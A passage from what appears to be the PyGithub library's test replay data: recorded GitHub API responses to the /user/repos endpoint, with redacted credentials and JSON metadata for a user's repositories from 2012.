[{"url":"https://api.github.com/orgs/BeaverSoftware","login":"BeaverSoftware","id":1424031,"avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/AuthenticatedUser.testGetRepos.txt0000644000175100001660000004373614756101563025004 0ustar00runnerdockerhttps GET api.github.com None /user/repos {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4961'), ('content-length', '17939'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"3d6116bc986eb0698f0dfe92a01b2437"'), ('date', 'Sat, 26 May 2012 20:19:00 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"clone_url":"https://github.com/jacquev6/TestPyGithub.git","mirror_url":null,"has_downloads":false,"watchers":1,"updated_at":"2012-05-26T09:55:27Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://foobar.com","url":"https://api.github.com/repos/jacquev6/TestPyGithub","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":0,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/TestPyGithub","git_url":"git://github.com/jacquev6/TestPyGithub.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"TestPyGithub","language":null,"description":"Repo created by PyGithub","ssh_url":"git@github.com:jacquev6/TestPyGithub.git","pushed_at":"2012-05-26T09:55:27Z","created_at":"2012-05-26T09:55:27Z","id":4454027,"html_url":"https://github.com/jacquev6/TestPyGithub","full_name":"jacquev6/TestPyGithub"},{"clone_url":"https://github.com/jacquev6/django.git","mirror_url":null,"has_downloads":true,"watchers":1,"updated_at":"2012-04-28T11:06:20Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://www.djangoproject.com/","url":"https://api.github.com/repos/jacquev6/django","has_wiki":false,"has_issues":false,"fork":true,"forks":0,"size":48476,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/django","git_url":"git://github.com/jacquev6/django.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"django","language":"Python","description":"The Web framework for perfectionists with deadlines. Now on GitHub.","ssh_url":"git@github.com:jacquev6/django.git","pushed_at":"2012-04-28T04:05:15Z","created_at":"2012-04-28T11:06:20Z","id":4166730,"html_url":"https://github.com/jacquev6/django","full_name":"jacquev6/django"},{"clone_url":"https://github.com/jacquev6/PyGithub.git","mirror_url":null,"has_downloads":true,"watchers":14,"updated_at":"2012-05-26T18:33:41Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub","has_wiki":false,"has_issues":true,"fork":false,"forks":2,"size":412,"private":false,"open_issues":15,"svn_url":"https://github.com/jacquev6/PyGithub","git_url":"git://github.com/jacquev6/PyGithub.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"PyGithub","language":"Python","description":"Python library implementing the full Github API v3","ssh_url":"git@github.com:jacquev6/PyGithub.git","pushed_at":"2012-05-26T11:25:48Z","created_at":"2012-02-25T12:53:47Z","id":3544490,"html_url":"https://github.com/jacquev6/PyGithub","full_name":"jacquev6/PyGithub"},{"clone_url":"https://github.com/jacquev6/developer.github.com.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-05-08T08:36:28Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/jacquev6/developer.github.com","has_wiki":false,"has_issues":false,"fork":true,"forks":0,"size":152,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/developer.github.com","git_url":"git://github.com/jacquev6/developer.github.com.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"developer.github.com","language":"Ruby","description":"","ssh_url":"git@github.com:jacquev6/developer.github.com.git","pushed_at":"2012-05-08T08:36:28Z","created_at":"2012-02-05T18:22:26Z","id":3361136,"html_url":"https://github.com/jacquev6/developer.github.com","full_name":"jacquev6/developer.github.com"},{"clone_url":"https://github.com/jacquev6/acme-public-website.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-05-22T18:24:49Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/jacquev6/acme-public-website","has_wiki":false,"has_issues":false,"fork":false,"forks":0,"size":120,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/acme-public-website","git_url":"git://github.com/jacquev6/acme-public-website.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"acme-public-website","language":null,"description":"","ssh_url":"git@github.com:jacquev6/acme-public-website.git","pushed_at":"2011-12-07T20:11:17Z","created_at":"2011-12-07T20:00:40Z","id":2935252,"html_url":"https://github.com/jacquev6/acme-public-website","full_name":"jacquev6/acme-public-website"},{"clone_url":"https://github.com/jacquev6/C4Planner.git","mirror_url":null,"has_downloads":true,"watchers":1,"updated_at":"2012-02-16T21:51:01Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://vincent-jacques.net/C4Planner","url":"https://api.github.com/repos/jacquev6/C4Planner","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":4716,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/C4Planner","git_url":"git://github.com/jacquev6/C4Planner.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"C4Planner","language":"Python","description":"Caesar IV: anticipate your city","ssh_url":"git@github.com:jacquev6/C4Planner.git","pushed_at":"2011-11-27T20:51:06Z","created_at":"2011-08-24T08:30:55Z","id":2260441,"html_url":"https://github.com/jacquev6/C4Planner","full_name":"jacquev6/C4Planner"},{"clone_url":"https://github.com/jacquev6/Hacking.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-04-24T13:55:11Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/jacquev6/Hacking","has_wiki":false,"has_issues":false,"fork":false,"forks":0,"size":128,"private":true,"open_issues":0,"svn_url":"https://github.com/jacquev6/Hacking","git_url":"git://github.com/jacquev6/Hacking.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"Hacking","language":"Python","description":"","ssh_url":"git@github.com:jacquev6/Hacking.git","pushed_at":"2012-04-17T19:09:56Z","created_at":"2011-07-02T15:59:51Z","id":1988081,"html_url":"https://github.com/jacquev6/Hacking","full_name":"jacquev6/Hacking"},{"clone_url":"https://github.com/jacquev6/vincent-jacques.net.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-04-29T15:20:52Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"vincent-jacques.net","url":"https://api.github.com/repos/jacquev6/vincent-jacques.net","has_wiki":false,"has_issues":false,"fork":false,"forks":0,"size":172,"private":true,"open_issues":0,"svn_url":"https://github.com/jacquev6/vincent-jacques.net","git_url":"git://github.com/jacquev6/vincent-jacques.net.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"vincent-jacques.net","language":"Python","description":"","ssh_url":"git@github.com:jacquev6/vincent-jacques.net.git","pushed_at":"2012-04-29T15:20:52Z","created_at":"2011-07-02T07:08:56Z","id":1986874,"html_url":"https://github.com/jacquev6/vincent-jacques.net","full_name":"jacquev6/vincent-jacques.net"},{"clone_url":"https://github.com/jacquev6/Contests.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-02-12T07:18:09Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"Contests","url":"https://api.github.com/repos/jacquev6/Contests","has_wiki":false,"has_issues":false,"fork":false,"forks":0,"size":448,"private":true,"open_issues":0,"svn_url":"https://github.com/jacquev6/Contests","git_url":"git://github.com/jacquev6/Contests.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"Contests","language":"Python","description":"","ssh_url":"git@github.com:jacquev6/Contests.git","pushed_at":"2011-11-14T20:19:48Z","created_at":"2011-06-27T11:55:34Z","id":1959919,"html_url":"https://github.com/jacquev6/Contests","full_name":"jacquev6/Contests"},{"clone_url":"https://github.com/jacquev6/Candidates.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-05-11T13:50:37Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/jacquev6/Candidates","has_wiki":false,"has_issues":false,"fork":false,"forks":0,"size":700,"private":true,"open_issues":0,"svn_url":"https://github.com/jacquev6/Candidates","git_url":"git://github.com/jacquev6/Candidates.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"Candidates","language":"C++","description":"","ssh_url":"git@github.com:jacquev6/Candidates.git","pushed_at":"2012-05-11T13:50:36Z","created_at":"2011-04-09T18:24:08Z","id":1592290,"html_url":"https://github.com/jacquev6/Candidates","full_name":"jacquev6/Candidates"},{"clone_url":"https://github.com/jacquev6/Tests.git","mirror_url":null,"has_downloads":true,"watchers":0,"updated_at":"2012-04-28T10:16:42Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/jacquev6/Tests","has_wiki":false,"has_issues":false,"fork":false,"forks":0,"size":3032,"private":true,"open_issues":0,"svn_url":"https://github.com/jacquev6/Tests","git_url":"git://github.com/jacquev6/Tests.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"Tests","language":"C","description":"Various tests","ssh_url":"git@github.com:jacquev6/Tests.git","pushed_at":"2012-04-01T04:24:47Z","created_at":"2011-03-28T20:24:02Z","id":1538471,"html_url":"https://github.com/jacquev6/Tests","full_name":"jacquev6/Tests"},{"clone_url":"https://github.com/jacquev6/DrawTurksHead.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-04-16T18:38:55Z","permissions":{"pull":true,"admin":true,"push":true},"master_branch":"master","homepage":"http://vincent-jacques.net/DrawTurksHead/","url":"https://api.github.com/repos/jacquev6/DrawTurksHead","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":3232,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/DrawTurksHead","git_url":"git://github.com/jacquev6/DrawTurksHead.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"DrawTurksHead","language":"C++","description":"A tool to draw Turk's Head Knots. Try it online","ssh_url":"git@github.com:jacquev6/DrawTurksHead.git","pushed_at":"2012-04-16T18:38:54Z","created_at":"2010-07-10T08:54:09Z","id":767403,"html_url":"https://github.com/jacquev6/DrawTurksHead","full_name":"jacquev6/DrawTurksHead"},{"clone_url":"https://github.com/jacquev6/DrawSyntax.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2011-11-27T14:00:34Z","permissions":{"pull":true,"admin":true,"push":true},"master_branch":"master","homepage":"http://vincent-jacques.net/DrawSyntax/","url":"https://api.github.com/repos/jacquev6/DrawSyntax","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":1760,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/DrawSyntax","git_url":"git://github.com/jacquev6/DrawSyntax.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"DrawSyntax","language":"C++","description":"Draw syntax diagrams from EBNF grammars. API in C++ and Python. Try it online.","ssh_url":"git@github.com:jacquev6/DrawSyntax.git","pushed_at":"2011-11-27T14:00:32Z","created_at":"2010-07-10T08:39:56Z","id":767392,"html_url":"https://github.com/jacquev6/DrawSyntax","full_name":"jacquev6/DrawSyntax"},{"clone_url":"https://github.com/jacquev6/QuadProgMm.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-04-16T18:39:06Z","permissions":{"pull":true,"admin":true,"push":true},"master_branch":"master","homepage":"http://vincent-jacques.net/QuadProgMm","url":"https://api.github.com/repos/jacquev6/QuadProgMm","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":760,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/QuadProgMm","git_url":"git://github.com/jacquev6/QuadProgMm.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"QuadProgMm","language":"C++","description":"A C++ interface to specify quadratic problems by C++ expressions of your variables. Try it online.","ssh_url":"git@github.com:jacquev6/QuadProgMm.git","pushed_at":"2012-04-16T18:39:05Z","created_at":"2010-07-10T08:36:57Z","id":767386,"html_url":"https://github.com/jacquev6/QuadProgMm","full_name":"jacquev6/QuadProgMm"},{"clone_url":"https://github.com/jacquev6/Boost.HierarchicalEnum.git","mirror_url":null,"has_downloads":false,"watchers":2,"updated_at":"2012-02-20T12:43:24Z","permissions":{"pull":true,"admin":true,"push":true},"master_branch":"master","homepage":"","url":"https://api.github.com/repos/jacquev6/Boost.HierarchicalEnum","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":112,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/Boost.HierarchicalEnum","git_url":"git://github.com/jacquev6/Boost.HierarchicalEnum.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"Boost.HierarchicalEnum","language":"C++","description":"","ssh_url":"git@github.com:jacquev6/Boost.HierarchicalEnum.git","pushed_at":"2011-11-27T14:00:23Z","created_at":"2010-07-10T08:32:12Z","id":767382,"html_url":"https://github.com/jacquev6/Boost.HierarchicalEnum","full_name":"jacquev6/Boost.HierarchicalEnum"},{"clone_url":"https://github.com/jacquev6/ViDE.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-04-19T16:35:46Z","permissions":{"pull":true,"admin":true,"push":true},"master_branch":"master","homepage":"","url":"https://api.github.com/repos/jacquev6/ViDE","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":1488,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/ViDE","git_url":"git://github.com/jacquev6/ViDE.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"ViDE","language":"Python","description":"Vincent's Development Environment","ssh_url":"git@github.com:jacquev6/ViDE.git","pushed_at":"2012-04-19T16:35:45Z","created_at":"2010-07-10T07:33:24Z","id":767343,"html_url":"https://github.com/jacquev6/ViDE","full_name":"jacquev6/ViDE"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/AuthenticatedUser.testGetReposWithArguments.txt0000644000175100001660000002740514756101563027521 0ustar00runnerdockerhttps GET api.github.com None /user/repos?affiliation=owner&visibility=all&sort=full_name&direction=desc&type=public {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4975'), ('content-length', '11503'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"f701a487ffa356326c27c1d0f1790e5e"'), ('date', 'Tue, 29 May 2012 18:19:20 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"clone_url":"https://github.com/jacquev6/ViDE.git","has_downloads":false,"watchers":0,"updated_at":"2012-04-19T16:35:46Z","permissions":{"pull":true,"admin":true,"push":true},"master_branch":"master","homepage":"","url":"https://api.github.com/repos/jacquev6/ViDE","html_url":"https://github.com/jacquev6/ViDE","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":1488,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/ViDE","owner":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"name":"ViDE","mirror_url":null,"language":"Python","description":"Vincent's Development Environment","ssh_url":"git@github.com:jacquev6/ViDE.git","pushed_at":"2012-04-19T16:35:45Z","created_at":"2010-07-10T07:33:24Z","id":767343,"git_url":"git://github.com/jacquev6/ViDE.git","full_name":"jacquev6/ViDE"},{"clone_url":"https://github.com/jacquev6/QuadProgMm.git","has_downloads":false,"watchers":0,"updated_at":"2012-04-16T18:39:06Z","permissions":{"pull":true,"admin":true,"push":true},"master_branch":"master","homepage":"http://vincent-jacques.net/QuadProgMm","url":"https://api.github.com/repos/jacquev6/QuadProgMm","html_url":"https://github.com/jacquev6/QuadProgMm","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":760,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/QuadProgMm","owner":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"name":"QuadProgMm","mirror_url":null,"language":"C++","description":"A C++ interface to specify quadratic problems by C++ expressions of your variables. Try it online.","ssh_url":"git@github.com:jacquev6/QuadProgMm.git","pushed_at":"2012-04-16T18:39:05Z","created_at":"2010-07-10T08:36:57Z","id":767386,"git_url":"git://github.com/jacquev6/QuadProgMm.git","full_name":"jacquev6/QuadProgMm"},{"clone_url":"https://github.com/jacquev6/PyGithub.git","has_downloads":true,"watchers":17,"updated_at":"2012-05-29T18:07:54Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub","html_url":"https://github.com/jacquev6/PyGithub","has_wiki":false,"has_issues":true,"fork":false,"forks":3,"size":480,"private":false,"open_issues":14,"svn_url":"https://github.com/jacquev6/PyGithub","owner":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"name":"PyGithub","mirror_url":null,"language":"Python","description":"Python library implementing the full Github API v3","ssh_url":"git@github.com:jacquev6/PyGithub.git","pushed_at":"2012-05-29T18:07:54Z","created_at":"2012-02-25T12:53:47Z","id":3544490,"git_url":"git://github.com/jacquev6/PyGithub.git","full_name":"jacquev6/PyGithub"},{"clone_url":"https://github.com/jacquev6/DrawTurksHead.git","has_downloads":false,"watchers":0,"updated_at":"2012-04-16T18:38:55Z","permissions":{"pull":true,"admin":true,"push":true},"master_branch":"master","homepage":"http://vincent-jacques.net/DrawTurksHead/","url":"https://api.github.com/repos/jacquev6/DrawTurksHead","html_url":"https://github.com/jacquev6/DrawTurksHead","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":3232,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/DrawTurksHead","owner":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"name":"DrawTurksHead","mirror_url":null,"language":"C++","description":"A tool to draw Turk's Head Knots. Try it online","ssh_url":"git@github.com:jacquev6/DrawTurksHead.git","pushed_at":"2012-04-16T18:38:54Z","created_at":"2010-07-10T08:54:09Z","id":767403,"git_url":"git://github.com/jacquev6/DrawTurksHead.git","full_name":"jacquev6/DrawTurksHead"},{"clone_url":"https://github.com/jacquev6/DrawSyntax.git","has_downloads":false,"watchers":0,"updated_at":"2011-11-27T14:00:34Z","permissions":{"pull":true,"admin":true,"push":true},"master_branch":"master","homepage":"http://vincent-jacques.net/DrawSyntax/","url":"https://api.github.com/repos/jacquev6/DrawSyntax","html_url":"https://github.com/jacquev6/DrawSyntax","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":1760,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/DrawSyntax","owner":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"name":"DrawSyntax","mirror_url":null,"language":"C++","description":"Draw syntax diagrams from EBNF grammars. API in C++ and Python. Try it online.","ssh_url":"git@github.com:jacquev6/DrawSyntax.git","pushed_at":"2011-11-27T14:00:32Z","created_at":"2010-07-10T08:39:56Z","id":767392,"git_url":"git://github.com/jacquev6/DrawSyntax.git","full_name":"jacquev6/DrawSyntax"},{"clone_url":"https://github.com/jacquev6/django.git","has_downloads":true,"watchers":1,"updated_at":"2012-04-28T11:06:20Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://www.djangoproject.com/","url":"https://api.github.com/repos/jacquev6/django","html_url":"https://github.com/jacquev6/django","has_wiki":false,"has_issues":false,"fork":true,"forks":0,"size":48476,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/django","owner":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"name":"django","mirror_url":null,"language":"Python","description":"The Web framework for perfectionists with deadlines. Now on GitHub.","ssh_url":"git@github.com:jacquev6/django.git","pushed_at":"2012-04-28T04:05:15Z","created_at":"2012-04-28T11:06:20Z","id":4166730,"git_url":"git://github.com/jacquev6/django.git","full_name":"jacquev6/django"},{"clone_url":"https://github.com/jacquev6/developer.github.com.git","has_downloads":false,"watchers":0,"updated_at":"2012-05-08T08:36:28Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/jacquev6/developer.github.com","html_url":"https://github.com/jacquev6/developer.github.com","has_wiki":false,"has_issues":false,"fork":true,"forks":0,"size":152,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/developer.github.com","owner":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"name":"developer.github.com","mirror_url":null,"language":"Ruby","description":"","ssh_url":"git@github.com:jacquev6/developer.github.com.git","pushed_at":"2012-05-08T08:36:28Z","created_at":"2012-02-05T18:22:26Z","id":3361136,"git_url":"git://github.com/jacquev6/developer.github.com.git","full_name":"jacquev6/developer.github.com"},{"clone_url":"https://github.com/jacquev6/C4Planner.git","has_downloads":true,"watchers":1,"updated_at":"2012-02-16T21:51:01Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://vincent-jacques.net/C4Planner","url":"https://api.github.com/repos/jacquev6/C4Planner","html_url":"https://github.com/jacquev6/C4Planner","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":4716,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/C4Planner","owner":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"name":"C4Planner","mirror_url":null,"language":"Python","description":"Caesar IV: anticipate your city","ssh_url":"git@github.com:jacquev6/C4Planner.git","pushed_at":"2011-11-27T20:51:06Z","created_at":"2011-08-24T08:30:55Z","id":2260441,"git_url":"git://github.com/jacquev6/C4Planner.git","full_name":"jacquev6/C4Planner"},{"clone_url":"https://github.com/jacquev6/Boost.HierarchicalEnum.git","has_downloads":false,"watchers":2,"updated_at":"2012-02-20T12:43:24Z","permissions":{"pull":true,"admin":true,"push":true},"master_branch":"master","homepage":"","url":"https://api.github.com/repos/jacquev6/Boost.HierarchicalEnum","html_url":"https://github.com/jacquev6/Boost.HierarchicalEnum","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":112,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/Boost.HierarchicalEnum","owner":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"name":"Boost.HierarchicalEnum","mirror_url":null,"language":"C++","description":"","ssh_url":"git@github.com:jacquev6/Boost.HierarchicalEnum.git","pushed_at":"2011-11-27T14:00:23Z","created_at":"2010-07-10T08:32:12Z","id":767382,"git_url":"git://github.com/jacquev6/Boost.HierarchicalEnum.git","full_name":"jacquev6/Boost.HierarchicalEnum"},{"clone_url":"https://github.com/jacquev6/acme-public-website.git","has_downloads":false,"watchers":0,"updated_at":"2012-05-22T18:24:49Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/jacquev6/acme-public-website","html_url":"https://github.com/jacquev6/acme-public-website","has_wiki":false,"has_issues":false,"fork":false,"forks":0,"size":120,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/acme-public-website","owner":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar